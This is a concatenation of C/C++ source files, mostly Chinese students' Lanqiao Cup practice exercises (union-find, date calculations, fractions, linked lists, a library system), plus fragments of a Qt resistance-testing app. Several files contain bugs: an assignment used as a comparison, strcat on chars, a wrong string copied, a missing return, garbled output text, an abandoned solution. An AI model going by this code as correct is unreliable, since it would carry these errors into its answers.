// 堆栈窗口第一页纵向布局
QVBoxLayout *vLayout = new QVBoxLayout; // 纵向布局
vLayout->addWidget(ui->widget);
vLayout->addWidget(&tableView);
ui->page_resTest->setLayout(vLayout);
tableView.horizontalHeader()->setSectionResizeMode(QHeaderView::Stretch); // 设置表格填满父窗口
tableView.MainWin_setHandSubmit(true); // 设置表格手动提交更新数据库
}
void MainWindow::on_pushButton_resTest_clicked()
{
ui->stackedWidget->setCurrentIndex(1);
}
void MainWindow::on_pushButton_dataHandle_clicked()
{
ui->stackedWidget->setCurrentIndex(2);
}
void MainWindow::on_pushButton_resValueRecorde_clicked()
{
ui->stackedWidget->setCurrentIndex(3);
}
void MainWindow::on_pushButton_testSpecific_clicked()
{
}
void MainWindow::on_pushButton_startTest_clicked()
{
ui->radioButton_singleTest->setEnabled(false); // 单次测量的选项消除使能
ui->radioButton_multipleTest->setEnabled(false); // 多次测量的选项消除使能
// if(ui->radioButton_singleTest->isChecked()) // 判断是多次测量还是单次测量
// serialThread->singleTest(); // 进行单次测量
// else
// ;
}
// 停止测量槽函数
void MainWindow::on_pushButton_stopTest_clicked()
{
isStopTest = true;
}
// 向主窗口展示数据部分增加一条记录
void MainWindow::upDataToTableView(double R0, double R01, double R1, double R2, double Rx)
{
tableView.MainWin_addRecordToTable(R0, R01, R1, R2, Rx); // 向显示数据表格中增加一条记录
ui->radioButton_singleTest->setEnabled(true); // 单次测量的选项恢复使能
ui->radioButton_multipleTest->setEnabled(true); // 多次测量的选项回复使能
}
<file_sep>/2020备战蓝桥/王浩杰/第十一次作业/11.10.cpp
#include<iostream>
#include<cstdio>
#include<conio.h>
#include<string>
using namespace std;
char a[100];
int main()
{
int i;
char c;
for (i = 0; i < 100; i++)
{
c = _getch();
if (c == '\r')break;
cout << c;
if (c == 'A')a[i] = 'T';
if (c == 'T')a[i] = 'A';
if (c == 'C')a[i] = 'G';
if (c == 'G')a[i] = 'C';
}
cout << endl;
cout << a<<endl;
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/朱力/第十三次作业/13.7.cpp
#include <algorithm>
#include <iostream>
#include <vector>
#include <cmath>
#include <stdio.h>
#include <algorithm>
#include <stdlib.h>
#include <iomanip>
#include <cstring>
#include <queue>
#include <map>
#include <stack>
#include<deque>
using namespace std;
//13.7 并查集思想
#define MAXSIZE 1000
void init(int, int[]);
int getf(int);
int dis(int, int);
int f[MAXSIZE] = { 0 }; //不知道如何把递归函数中不用全局变量
int main() {
int n; //元素个数
int m;
int x, y;
int sum = 0;
scanf_s("%d %d", &n, &m);
init(n, f);
for (int i = 1; i <= m; i++) {
scanf_s("%d %d", &x, &y);
dis(x, y); //两个元素各自所属的集合的合并
}
for (int i = 1; i < n; i++) {
if (f[i] == i) sum++;
}
printf("最大家庭数为:%d\n", sum);
return 0;
}
//数组初始化
void init(int n, int f[]) {
for (int i = 1; i <= n; i++) f[i] = i;
return;
}
//寻找根节点递归函数
int getf(int v) {
if (f[v] = v) return v;
else {
// 路径压缩,提高以后寻找根节点的速度
f[v] = getf(f[v]);
return f[v];
}
}
//合并两个子集
int dis(int v, int u) {
int t1, t2; //t1,t2分别为v,u的根节点
t1 = getf(v);
t2 = getf(u);
if (t1 != t2) {
f[t2] = t1; //t2为t1的祖先
return 1;
}
return 0;
}
<file_sep>/2020备战蓝桥/陈富浩/第十次作业/10.5.cpp
#include<stdio.h>
typedef struct
{
int year,month,day;
} Date;
int DateToNum(Date dt); //把日期转化为正整数
int Leapyear(int y); //判断是否为润年
const int NoLeapYear[]={31,28,31,30,31,30,31,31,30,31,30,31}; //非润年
int main()
{
int n;
Date d1,d2;
d1.year=1990;
d1.month=1;
d1.day=1;
printf("输入以后某一天的年月日:\n");
scanf("%d%d%d",&d2.year,&d2.month,&d2.day);
n=DateToNum(d2)-DateToNum(d1);
if(n%5<3)
printf("今天打鱼\n");
else
printf("今天晒网\n");
return 0;
}
int DateToNum(Date dt)
{
int i;
int ndays=0;
for(i=1;i<dt.year;++i)
ndays+=Leapyear(i)?366:365;
for(i=1;i<dt.month;++i)
ndays+=NoLeapYear[i-1];
if(dt.month>2&&Leapyear(dt.year))
++ndays;
ndays+=dt.day;
return ndays;
}
int Leapyear(int y)
{
return (y%4==0&&y%100!=0)||(y%400==0);
}
<file_sep>/2020备战蓝桥/吕经浪/第九次作业/9.6.cpp
#include<iostream>
using namespace std;
int gcd(int m, int n)//两数最大公约数
{
int temp;
if (m < n)
{
temp = m;
m = n;
n = temp;
}
while (n != 0)
{
temp = m % n;
m = n;
n = temp;
}
return(m);
}
int lcm(int m, int n)//两数最小公倍数
{
int gcd(int m, int n);
int temp;
temp = gcd(m, n);
return(m * n / temp);
}
int lcm1(int a[], int n)//一组数最小公倍数
{
int i = a[0];
int j = a[1];
int k = lcm(i, j);
int r = 0;
for (r = 2; r < n; r++)
{
k = lcm(k, a[r]);
}
return(k);
}
struct Frac//接收存储分数
{
int cld;
int mth;
};
int main()
{
int s = 0, n, i, a[10], b[10];
Frac frac[10];
char c;
cin >> n;
for (i = 0; i < n; i++)
{
cin >> frac[i].cld >> c >> frac[i].mth;
a[i] = frac[i].cld;
b[i] = frac[i].mth;
}
int p = lcm1(b, n);
for (i = 0; i < n; i++)
{
a[i] = p / b[i] * a[i];
s = s + a[i];
}
int q = gcd(s, p);
cout << s / q << "/" << p / q << endl;
return 0;
}
<file_sep>/2020备战蓝桥/刘诗雨-/第十一次作业/11.2.cpp
#include <iostream>
#include<string.h>
using namespace std;
int main() {
// std::string s1,s2;
// std::cin>>s1;
// std::cin>>s2;
char s1,s2;
cin>>s1;
cin>>s2;
strcat(s1,s2);
// cout<<(s1+s2)<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/黄杨/6.cpp
#include<iostream>
using namespace std;
int a[11],b[11];
int gcd(int a,int b)//最小公倍数
{
if(b==0)
return a;
return gcd(b,a%b);
}
int main()
{
int n;
int cnt=0;
int numerator=0,denominator=1;//numerator分子,denominator分母
int divisor;
char s[20];
cin>>n;
while(n--)
{
scanf("%d/%d",&a[cnt],&b[cnt]);
cnt++;
}
for(int i=0;i<cnt;i++)
denominator*=b[i];//
for(i=0;i<cnt;i++)
numerator=numerator+denominator*a[i]/b[i];
divisor=gcd(denominator,numerator);
denominator/=divisor;
numerator/=divisor;
if(denominator==1)
cout<<numerator<<endl;
else
cout<<numerator<<"/"<<denominator<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/陈富浩/第十一次作业/0.cpp
Legend never die!
<file_sep>/2020备战蓝桥/刘震/第十二次作业/12.8图书管理系统.cpp
/*12.8模拟一个图书管理系统,先给出书架上的书书本名和作者名,标题各部相同,以end结束,然后有3种指令:BORROW指令表
示借书,RETURN指令表示还书,SHELVE指令表示把所有已归还但还未上架的图书排序后依次插入书架并输出图书标题和插入
位置(可能是第一本书或者某本书的后面)。图书排序的方法是先按作者从小到大排,再按标题从小到大排。在处理第一条
指令之前,你应当先将所有图书按照这种方式排序。
*/
/*//假设现在有这么几本书
我是张三 张三
我是李四 李四
我是王五 王五
*/
#include<iostream>
#include<string>
#include<vector>
#include<algorithm>
#include<iomanip>
using namespace std;
struct LIB
{
string bookName;
string anthor;
//查找作者
bool operator == (const string &temp) {
return (this->anthor == temp || this->bookName == temp);
}
/*//查找书名
bool operator == (const string &temp) {
return (this->bookName == temp);
}*/
};
vector<LIB>lib; //图书馆
vector<LIB>libb; //暂缓区
int libLen = 0;
//打印
void Print();
//开始前输入几本书和其作者
void PreInput();
//排序
void Sort();
//输出函数
void Output(vector<LIB>lib);
//借书
void Borrow();
//还书
void Return();
//暂缓
void Shelve();
int main()
{
Print();
PreInput();
Sort();
//Output();
string contral;
for (int i = 0;; i++)
{
cout << "**********************************请输入指令*************************************" << endl;
cin >> contral;
if (contral == "BORROW")
Borrow();
if (contral == "RETURN")
Return();
if (contral == "LOOK")
Output(lib);
if (contral == "SHELVELOOK")
Output(libb);
if (contral == "SHELVE")
Shelve();
if (contral == "EXIT")
break;
}
system("pause");
return 0;
}
void Print()
{
cout << "*********************************************************************************" << endl;
cout << "* 图书馆管理系统 *" << endl;
cout << "*********************************************************************************" << endl;
cout << "指令:BORROW RETURN SHELVE LOOK SHELVELOOK EXIT" << endl;
}
void PreInput()
{
LIB book;
string temp;
for (int i = 0;; i++)
{
cin >> temp;
if (temp == "END") //这里只考虑了输入书名时候是否会给END指令
break;
book.bookName = temp;
cin >> temp;
book.anthor = temp;
lib.push_back(book);
libLen++;
}
}
bool cmp(LIB a, LIB b)
{
if (a.anthor == b.anthor)
return a.bookName < b.bookName;
else
return a.anthor < b.anthor;
}
void Sort() //排序,按照从小到大的顺序排序
{
sort(lib.begin(),lib.end(),cmp);
}
void Output(vector<LIB>lib)
{
cout << setw(20) << "****作者****" << setw(50) << "****书名****" << endl;
for (vector<LIB>::iterator it = lib.begin(); it != lib.end(); it++)
cout << setw(20) << it->anthor << setw(50) << it->bookName << endl;
}
void Borrow()
{
int t;
cout << "请输入书名或者作者名:";
string temp;
vector<LIB>::iterator it;
cin >> temp;
it = find(lib.begin(), lib.end(), temp);
if (it == lib.end()) cout << "**********************************抱歉没有!*************************************" << endl;
else
{
cout << endl << setw(20) << it->anthor << setw(50) << it->bookName << endl << endl;
cout << "****************************是否借阅? 3:是 4:否********************************" ;
cin >> t;
if (t == 3)
lib.erase(it);
if (t == 4)
return;
}
}
void Return()
{
cout << "***************************请依次输入书名和作者名:*******************************" << endl;
LIB book;
cin >> book.bookName >> book.anthor;
libb.push_back(book);
Sort();
}
void Shelve()
{
for (vector<LIB>::iterator it = libb.begin(); it != libb.end(); it++)
lib.push_back(*it);
Sort();
libb.clear();
}<file_sep>/2020备战蓝桥/刘燚杰/十一次作业/11-6.cpp
#include<iostream>
#include<cstring>
using namespace std;
string str1;
string str2;
bool T6(double s,int n)
{
int count = 0;//相同碱基对个数
for(int i=0;i<n;i++)
{
if(str1[i] == str2[i])
count++;
}
double result = (double)count/(double)n;
if(result >= s)
return true;
else
return false;
}
int main()
{
double stan = 0;
cout<<"please input the standard:"<<endl;
cin>>stan;
cout<<"please input the first string:"<<endl;
cin>>str1;
cout<<"please input the second string having the same length of the first one:"<<endl;
cin>>str2;
int len = str1.length();
if(T6(stan,len))
cout<<"yes"<<endl;
else
cout<<"no"<<endl;
}
<file_sep>/2020备战蓝桥/刘燚杰/第十二次作业/12-2.cpp
//不知道为什么输入7个0的时候结果是LOOP。。。
#include<iostream>
using namespace std;
#include<cmath>
int a[100] = {0};
int b[100] = {0};
int num2 = 0;
void f2(int n)
{
for(int i=0;i<n;i++)
{
b[i] = a[i];
}
for(int i=0;i<n;i++)
{
if(i < n-1)
a[i] = abs(b[i] - b[i+1]);
else
{
a[i] = abs(a[i] - b[0]);
}
}
}
bool Judge(int n)
{
while(num2 <= 1000)
{
int num1 = 0;
for(int i=0;i<n;i++)
{
if(a[i] == 0)
num1++;
}
if(num1 == n)
{
return true;
}
else
{
f2(n);
num2++;
}
}
return false;
}
int main()
{
int n,m = 0;//m表示每组数据的个数
int temp = 0;
string str[100];
cin>>n;
while(temp != n)
{
cin>>m;
for(int i=0;i<m;i++)
cin>>a[i];
f2(m);
if(Judge(m) == true)
str[temp] = "ZERO";
else
str[temp] = "LOOP";
temp++;
}
for(int i=0;i<n;i++)
cout<<str[i]<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/周鑫鹏/十一次作业/11_1.cpp
#include<iostream>
#include<string>
using namespace std;
int main()
{
string s;
cout<<"输入字符串"<<endl;
getline(cin,s);int a=0,b=0,c=0,d=0,e=0;
int t=s.length();
for(int i=0;i<t;i++)
{
if(s[i]==32)
a++;
else if(s[i]>47&&s[i]<58)
b++;
else if(s[i]>64&&s[i]<91)
c++;
else if(s[i]>96&&s[i]<123)
d++;
else e++;
}
cout<<"空格的个数是"<<a<<"\n"
<<"数字的个数是"<<b<<"\n"
<<"大写字母的个数是"<<c<<"\n"
<<"小写字母的个数是"<<d<<"\n"
<<"其他字符的个数是"<<e<<endl;
return 0;
}
<file_sep>/Resistance/mythread.h
#ifndef MYTHREAD_H
#define MYTHREAD_H
#include <QThread>
#include <QMessageBox>
#include "test.h"
class MyThread : public QThread
{
Q_OBJECT
public:
explicit MyThread(QObject *parent = nullptr);
// 单次测量
void singleTest();
// 多次测量
void repeateTest();
// 专用测试窗口显示
void showTestWin();
protected:
// QThread的虚函数
// 线程处理函数
// 不能直接调用,要通过start间接调用
void run();
signals:
// 向主窗口发送一侧测试的数据信号
void singleTestDone(double, double, double, double, double);
private:
public:
bool isSingleTest = true;
};
#endif // MYTHREAD_H
<file_sep>/2020备战蓝桥/黄杨/第十三次作业/5.cpp
//5.奇怪的电梯
//借鉴加以修改完成
#include<iostream>
#include<queue>
using namespace std;
typedef struct
{
int step;
int floor;
}dt;
queue<dt> lift;//定义队列
bool flag[2000],f;
int main()
{
int n,a,b,k[2000];//k【i】表示第i层可以上升/下降多少楼
dt s,e;//定义了dt类型的s,e两个数,表示起点层,终点层
cin>>n>>a>>b;
for(int i=1;i<=n;i++)
{
cin>>k[i];
}
//初始化,来到第a楼
s.step =0;
s.floor =a;
lift.push(s);//这楼入队
//当可行的方案没实行完,也就是队列不为空时,广搜
while(!lift.empty())
{
s=lift.front();//每次来到新楼层了把起点更新
lift.pop() ;//走过的楼层(处理过的可能性)可以出队了
if(s.floor ==b)//走到了规定楼层
{
cout<<s.step<<endl;
f=1;
break;
}
//上升的情况
if(s.floor +k[s.floor]<=n && !flag[s.floor+k[s.floor]])//如果楼层在范围内且没被走过
{
e.floor =s.floor+k[s.floor];
e.step =s.step +1;
flag[e.floor]=1;
lift.push(e);
}
//下降的情况
if(s.floor -k[s.floor]>=1 && !flag[s.floor-k[s.floor]])
{
e.floor =s.floor-k[s.floor];
e.step =s.step +1;
flag[e.floor]=1;
lift.push(e);
}
}
if(f==0)
cout<<"-1"<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/张谦煜/11-2/11-2.c
#include<stdio.h>
int main()
{
char* str1 = (char*)malloc(10000*sizeof(char));
char* str2 = (char*)malloc(10000*sizeof(char));
scanf("%s%s",str1,str2);
char* str = (char*)malloc(20000*sizeof(char));
int i;
for(i = 0;i<10000&&str1[i]!='\0';i++)
{
str[i]=str1[i];
}
int j =i;
for(i = 0;i<10000&&str2[i]!='\0';i++)
{
str[j++]=str1[i];
}
str[j]='\0';
printf("%s",str);
return 0;
}<file_sep>/2020备战蓝桥/李满/第12次作业/12.2.cpp
#include<iostream>
#include<math.h>
using namespace std;
int main()
{
int num,d[1001];
cout<<"请输入数组元素个数:\n";
cin>>num;
cout<<"请依次输入数组元素值:";
for(;num>0;num--) //输入n元组
{
cin>>d[num];
}
//重复计算不多于1000次
int j;
for(j=0;j<1000;j++)
{
int i,first;
first=d[0];
for(i=0;i<num;i++)
{
d[i]=abs(d[i]-d[i+1]);
}
d[num]=abs(d[num]-first);
}
//判断是否循环
int k;
for(k=0;k<num;k++)
{
if(d[k]!=0)
{
;
}
else
{
cout<<"ZERO"<<endl;
continue;
}
}
//cout<<"LEOP"<<endl; //???这句话加在哪里
return 0;
}
<file_sep>/2020备战蓝桥/朱力/第十三次作业/13.1.cpp
#include <algorithm>
#include <iostream>
#include <vector>
#include <cmath>
#include <stdio.h>
#include <algorithm>
#include <stdlib.h>
#include <iomanip>
#include <cstring>
#include <queue>
#include <map>
#include <stack>
#include<deque>
using namespace std;
typedef struct
{
int data[2000];
int top0;
int end0;
int size;
bool quque_empty() { return size == 0; } //判空
void push_front(int x) { size++; data[top0] = x; top0--; } //队首入队
void push_back(int x) { size++; data[end0] = x; end0--; } //队尾入队
void pop_front()//首出队
{
if (top0 == end0) {
cout << "default" << endl;
}
else
{
top0++;
size--;
}
}
void pop_back() //队尾出队
{
if (top0 == end0) {
cout << "default" << endl;
}
else
{
end0--;
size--;
}
}
int quque_size() { return size; } //求队长
int front() { return data[top0 + 1]; } //返回队首元素
int back() { return data[end0 - 1]; } //返回队尾元素
}quque;
int main()
{
quque Q;
Q.size = 0;
Q.top0 = 1000; //从中间开始往两边走
Q.end0 = 1000;
int order; //case控制条件
int x; //数据输入
while (1)
{
cout << "请选择命令:1-前端入队操作,2-后端入队操作,3-前端出队操作,4-后端出队操作,5-查询长度,6-结束:";
cout << endl;
cin >> order;
switch (order)
{
case 1: {
cout << "请输入前端入队的数值:" << endl;
cin >> x;
Q.push_front(x);
break;
}
case 2: {
cout << "请输入后端入队的数值:" << endl;
cin >> x;
Q.push_back(x);
break;
}
case 3: {
if (Q.quque_empty()){
cout << "队列为空" << endl;//为空输出1,不为空输出0;
break;
}
cout << "前端出队的数据为:" << Q.front() << endl;
Q.pop_front();
break;
}
case 4: {
if (Q.quque_empty())
{
cout << "队列为空" << endl;
break;
}
cout << "后端出队的数据为:" << Q.back() << endl;
Q.pop_back();
break;
}
case 5: {
cout << Q.quque_size() << endl;
break;
}
default: goto q;
}
}
q: return 0;
}<file_sep>/2020备战蓝桥/刘诗雨-/第十次作业/10.5.cpp
#include <iostream>
using namespace std;
int Y(int year)
{
if(year%4==0&&(year%100!=0||year%400==0))
return 365;
else
return 366;
}
int juge(int month,int all_day)
{
if(all_day==365)
{
switch(month)
{
case 2:all_day=31;break;
case 3:all_day=59;break;
case 4:all_day=90;break;
case 5:all_day=120;break;
case 6:all_day=151;break;
case 7:all_day=181;break;
case 8:all_day=212;break;
case 9:all_day=243;break;
case 10:all_day=273;break;
case 11:all_day=304;break;
case 12:all_day=334;break;
}
}
else
{
switch(month)
{
case 2:all_day=31;break;
case 3:all_day=60;break;
case 4:all_day=91;break;
case 5:all_day=121;break;
case 6:all_day=152;break;
case 7:all_day=182;break;
case 8:all_day=213;break;
case 9:all_day=244;break;
case 10:all_day=274;break;
case 11:all_day=305;break;
case 12:all_day=335;break;
}
}
}
int main() {
int year,month,day,all_day,n,sum=0;
cin>>year>>month>>day;
n=year-1990;
if(n==0)
{
if(month==1)
all_day=day-1;
else
{
juge(month,365);
all_day=all_day+day;
}
}
else if(n==1)
{
juge(month,366);
all_day=all_day+day+364;
}
else if(n!=1&&n!=0)
{
for(int i=1;i<n;i++)
{
sum=Y(1990+i)+sum;
}
Y(year);
all_day=all_day+sum+364+juge(month,all_day);
}
if(all_day%3==0)
cout<<"´òÓã";
else if(all_day%2==0)
cout<<"É¹Íø";
else
cout<<"ÐÝÏ¢";
return 0;
}
<file_sep>/2020备战蓝桥/曾琳/9-4.cpp
#include<iostream>
using namespace std;
void Pell(int n)
{
int a[100] = { 1,2 };
if (n == 1 || n == 2)
cout << a[n - 1];
else
{
int i = 1;
while (i != n - 1)
{
i++;
a[i] = 2 * a[i-1] + a[i-2];
}
cout <<"第"<<n<<"项的值为:"<< a[i]<<endl;
}
}
int main()
{
int n;
cout << "input the number:\n";
cin >> n;
Pell(n);
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/王浩杰/第十次作业/10.5.cpp
#include<iostream>
#include<cstdio>
#include<conio.h>
#include<string>
using namespace std;
int panduan(int year)
{
if (year / 4 == 0 && (year / 100 != 0 || year / 400 == 0))return 1;
else return 0;
}
int f(int year,int month,int day)
{
int m,sum=0,i;
int s[12] = { 31,28,31,30,31,30,31,31,30,31,30,31 };
m = panduan(year);
if (m == 1)s[1] = 29;
if (year == 1990)
{
for (i = 0; i < month - 1; i++)
{
sum = sum + s[i];
}
sum += day;
}
else
{
for (i = 0; i < month - 1; i++)
{
sum = sum + s[i];
}
sum += day;
sum = sum + f(year - 1, 12, 31);
}
return sum;
}
int main()
{
int year, month, day,sum,mod;
cin >> year >> month >> day;
sum=f(year, month, day);
mod = sum % 5;
if (mod >= 1 && mod <= 3)cout << "打渔" << endl;
else cout << "晒网" << endl;
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/王浩杰/第十一次作业/11.4.cpp
#include<iostream>
#include<cstdio>
#include<conio.h>
#include<string>
using namespace std;
void f()
{
}
int main()
{
int a3 = 0;
char a = '0';
while (a != '\n')
{
a = cin.get();
if (48 <= a && a <= 57)a3++;
}
cout << "数字个数:" << a3 << endl;
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/何永康/第十次作业/1.cpp
#include <iostream>
#include <cstring>
using namespace std;
int main()
{
char a[14];
cin >> a;
int b[10];
int j = 0;
int sum = 0;
for (int i = 0; i < 13; i++)
{
if (a[i] != '-')
{
b[j++] = a[i] - '0';
}
}
for (int i = 0; i < 9; i++)
sum = sum + (i + 1) * b[i];
if (sum % 11 == b[9])
cout << "YES";
else
cout << "NO";
return 0;
}
<file_sep>/2020备战蓝桥/曾琳/第十次作业/10-8.cpp
#include<stdio>
int main(void)
{
long int a, b, c;
while (true)
{
printf("Please enter a optional fraction(a/b):");
scanf("%ld/%ld", &a, &b); /*输入分子a和分母b*/
printf("It can be decomposed to:");
while (true)
{
if (b%a) /*若分子不能整除分母*/
c = b / a + 1; /*则分解出一个分母为b/a+1的埃及分数*/
else { c = b / a; a = 1; } /*否则,输出化简后的真分数(埃及分数)*/
if (a == 1)
{
printf("1/%ld\n", c);
break; /*a为1标志结束*/
}
else
printf("1/%ld + ", c);
a = a * c - b; /*求出余数的分子*/
b = b * c; /*求出余数的分母*/
if (a == 3) /*若余数为3,输出最后两个埃及分数*/
{
printf("1/%ld + 1/%ld\n", b / 2, b); break;
}
}
}
return 0;
}
<file_sep>/2020备战蓝桥/刘震/第十三次作业/13.3移动盒子.cpp
//建立双向链表
#include<iostream>
#include<cstdlib>
using namespace std;
struct Link {
Link *front; //指向上一个节点的地址
int data = 0; //数据段,初始化为0
Link *next; //指向下一个节点的地址
};
void linkTE(); //当只有头与尾节时
void inserttop(struct Link *l);//在头部插入一个元素
void insertend(struct Link *l);//在尾部插入一个元素
void insertbefore(struct Link *l);//在某元素前插入一个元素
void insertback(struct Link *l);//在某元素后插入一个元素
void remove(int val);//删除某一个节点,这里是按值删除
Link *find(int val);//查找元素
void ttraversal();//头起遍历链表
void etraversal();//尾起遍历链表
void modify(struct Link *l, int val);//修改某一的元素的值 //参数设置的是指向节点的地址,后面是要改变的值
int size();//返回节点的长度
void freep(); //把指针指向的空间都释放了
int k = 0;
Link *fp[100]; //保存动态开辟的内存的指针
Link *Head; //建立首节点
Link *End; //建立尾节点
int cnt = 0; //初始节点为2,不加的话是0
Link *temp;
int main()
{
//建立双向链表的起点和终点
//为首节点开辟一段内存空间
Head = (struct Link*)malloc(sizeof(struct Link));
//为尾节点开辟一段内存空间
End = (struct Link*)malloc(sizeof(struct Link));
/*************************************************************************************************/
int box, n;
int op, x, y;
bool bol = true;
while (scanf("%d%d", &box, &n) == 2) {
//刚开始初始化,在前面插入box个数
for (int i = box; i > 0; i--) {
Link*p = (struct Link*)malloc(sizeof(struct Link));
fp[k++] = p;
p->data = i;
inserttop(p);
}
ttraversal();
freep(); //下一局,所有节点都释放,除了最原始的头尾两个节点
linkTE(); //让最原始的两个头尾节点连接在一起
k = 0;
cnt = 0;
cout << endl;
//输入命令了
for (int i = 0; i < n; i++) {
cin >> op >> x >> y;
if (op == 4)
bol = false;
else if (op == 1) { //如果bol=true那就把x移到y的左边,否者就把x移到y的右边
//先找到两个数的位置
Link *xp = find(x);
Link *yp = find(y);
if (bol) {//要把x移到y的左边
if (x + 1 != y) { //把xp插在yp的前面,然后把原来的xp删除
//放弃了
}
}
}
}
}
//测试一下数据是否正确
/*******************************************************************************************************/
system("pause");
return 0;
}
void linkTE() {
Head->front = NULL; //首节点的上一个元素可定不存在
End->next = NULL;//尾节点的最后一个元素坑定也不存在的
//然后把两个节点链接起来
Head->next = End; //首节点的下一个节点是尾节点
End->front = Head; //尾节点的上一个节点是首节点
Head->data = -1;
End->data = -1;
}
//在头部插入一个元素
void inserttop(struct Link *l){
Head->front = l; //把原来头部节点的指向前一个元素的指针指向要插入的节点的地址
l->next = Head; //把新头部的指向下一个节点的指针指向原头部的地址
l->front = NULL; //把新的节点的指向上衣个元素节点的指针置为NULL
Head = l; //把原来作为头部的标识符换成新头部
cnt++;
}
//在尾部插入一个元素
void insertend(struct Link *l) {
End->next = l;
l->front = End;
l->next = NULL;
End = l;
cnt++;
}
//在某元素前插入一个元素
void insertbefore(struct Link *l) {
temp = Head;
for (int i = 0; i < cnt; i++) {
if (temp->data == l->data) {
if (temp == Head) //如果要插入元素数据端正好等于链表头部的数据段,就在链表头部插入
inserttop(l);
else {
//先把下一个顺序调好
(temp->front)->next = l; //把元素的前面一个节点的指向下一个节点的指针改成指向要插入的节点的地址
l->next = temp; //把插入的节点的指向下一个节点的指针指向要插入的节点的下一个位置
//在把上一个节点调好
l->front = temp->front;
temp->front = l;
return;
}
}
temp = temp->next;
}
//防止到最后都没有比较出元素
insertback(l); //把元素插入到最后
cnt++;
}
//在某元素后插入一个元素
void insertback(struct Link *l) {
temp = Head;
for (int i = 0; i < cnt; i++) {
if (temp->data == l->data) {
if (temp == End) //如果要插入元素数据端正好等于链表尾部的数据段,就在链表尾部插入
insertback(l);
else {
//按顺序把指针指向依次调整
l->next = temp->next;
temp->next = l;
//按逆序把指针指向依次调整
l->front = temp;
(l->next)->front = l;
return;
}
}
temp = temp->next;
}
//防止到最后都没有比较出元素
inserttop(l); //把元素插入到最后
cnt++;
}
//查找元素
Link *find(int val) {
temp = Head;
for (int i = 0; i < cnt; i++) {
if (temp->data == val)
return temp;
temp = temp->next;
}
}
//头起遍历链表
void ttraversal() {
temp = Head;
for (int i = 0; i < cnt; i++) {
cout << temp->data << " ";
temp = temp->next;
}
}
//尾起遍历链表
void etraversal() {
temp = End;
for (int i = 0; i < cnt; i++) {
cout << temp->data << " ";
temp = temp->front;
}
}
//修改某一的元素的值
void modify(struct Link *l, int val) {
l->data = val;
}
//返回节点的数量
int size() {
return cnt;
}
//删除某一个节点,这里是按值删除
void remove(int val) {
temp = Head;
for (int i = 0; i < cnt; i++) {
if (temp->data == val) {
if (temp == Head) {
(temp->next)->front = NULL; //如果要删除的是首元素,只需要把首元素的下一个节点的指向上一个节点的指针置为NULL
}
else if (temp == End) {
(temp->front)->next = NULL; //如果要删除的是尾元素,只需要把尾元素的上一个节点的指向下一个节点的指针置为NULL
}
else {
(temp->front)->next = temp->next;
(temp->next)->front = temp->front;
}
}
}
cnt--;
}
void freep() {//把指针指向的空间都释放了
for (int i = 0; i < k; i++)
free(fp[i]);
}
<file_sep>/2020备战蓝桥/谭彬智/第十三次作业/13.2.cpp
#include<iostream>
using namespace std;
struct Node
{
int data;
struct Node *prev;
struct Node *next;
};
typedef struct Node Node;
Node *Get_node(int item,Node *prev0,Node *next0)
{
Node *p=(Node*)malloc(sizeof(Node));
p->data=item;
p->prev=prev0;
p->next=next0;
return p;
}
typedef struct
{
Node *head;
Node *tail;
int size;
int tag;//标记重组
}List;
void Init(List *L)
{
L->head=(Node*)malloc(sizeof(Node));
L->tail=(Node*)malloc(sizeof(Node));
L->head->next=L->tail;
L->tail->prev=L->head;
L->size=0;
L->tag=0;
}
Node *Begin(List *L){return L->head->next;}
Node *End(List *L){return L->tail;}
void Insert(List *L,Node *current,int item)
{
Node *p=current;
L->size++;
p->prev->next=Get_node(item,p->prev,p);
p->prev=p->prev->next;
}
Node *Erase(List *L,Node *current)
{
Node *p=current;
Node *re=p->next;
L->size--;
p->prev->next=p->next;
p->next->prev=p->prev;
free(p);
return re;
}
Node *find1(List *L,int item)
{
Node *p=Begin(L);
for(int i=0;i<L->size;i++)
{
if(p->data==item)
return p;
else p=p->next;
}
}
void find(List *L,int item)
{
Node *p=Begin(L);
for(int i=0;i<L->size;i++)
{
if(p->data==item)
{
cout<<p->prev->data<<' '<<p->next->data<<"中间"<<endl;
break;
}
else p=p->next;
}
}
void inserttop(List *L,int item){if(L->tag==0)Insert(L,Begin(L),item);else if(L->tag==1)Insert(L,End(L),item);}
void insertend(List *L,int item){if(L->tag==0)Insert(L,End(L),item);else if(L->tag==1)Insert(L,Begin(L),item);}
void insertbefore(List *L,int n,int item){Node *p=find1(L,n);if(L->tag==0)Insert(L,p,item);else if(L->tag==1)Insert(L,p->next,item);}
void insertback(List *L,int n,int item){Node *p=find1(L,n);if(L->tag==0)Insert(L,p->next,item);else if(L->tag==1)Insert(L,p,item);}
Node *remove(List *L,int item){Node *p=find1(L,item);Node *p2=Erase(L,p);return p2;}
void ttraversal(List *L)
{
if(L->tag==0)
{
Node *p=Begin(L);
for(int i=0;i<L->size;i++)
{
cout<<p->data<<' ';
p=p->next;
}
cout<<endl;
}
else if(L->tag==1)
{
Node *p=End(L);
for(int i=0;i<L->size;i++)
{
p=p->prev;
cout<<p->data<<' ';
}
cout<<endl;
}
}
void etraversal(List *L)
{
if(L->tag==0)
{
Node *p=End(L);
for(int i=0;i<L->size;i++)
{
p=p->prev;
cout<<p->data<<' ';
}
cout<<endl;
}
else if(L->tag==1)
{
Node *p=Begin(L);
for(int i=0;i<L->size;i++)
{
cout<<p->data<<' ';
p=p->next;
}
cout<<endl;
}
}
void modify(List *L,int n,int item){Node *p=find1(L,n);p->data=item;}
int zize(List *L){return L->size;}
void reorg(List *L)
{
if(L->tag==0)
L->tag=1;
else if(L->tag==1)
L->tag=0;
}
int main()
{
List L;
Init(&L);
int order;
while (order<100)
{
cout<<"请选择命令:1-头部插入,2-尾部插入,3-a前插入,4-a后插入,5-删除,6-查找,7-头起遍历,8-尾起遍历,9-修改,10-链表长度,11-链表重组,0-结束:\n";
cin>>order;
switch (order)
{
int x,x1;
case 0:
order=100;
break;
case 1:
cout<<"请输入需要插入的数:";
cin>>x;
inserttop(&L,x);
break;
case 2:
cout<<"请输入需要插入的数:";
cin>>x;
insertend(&L,x);
break;
case 3:
cout<<"在哪个数之前插入什么数?";
cin>>x>>x1;
insertbefore(&L,x,x1);
break;
case 4:
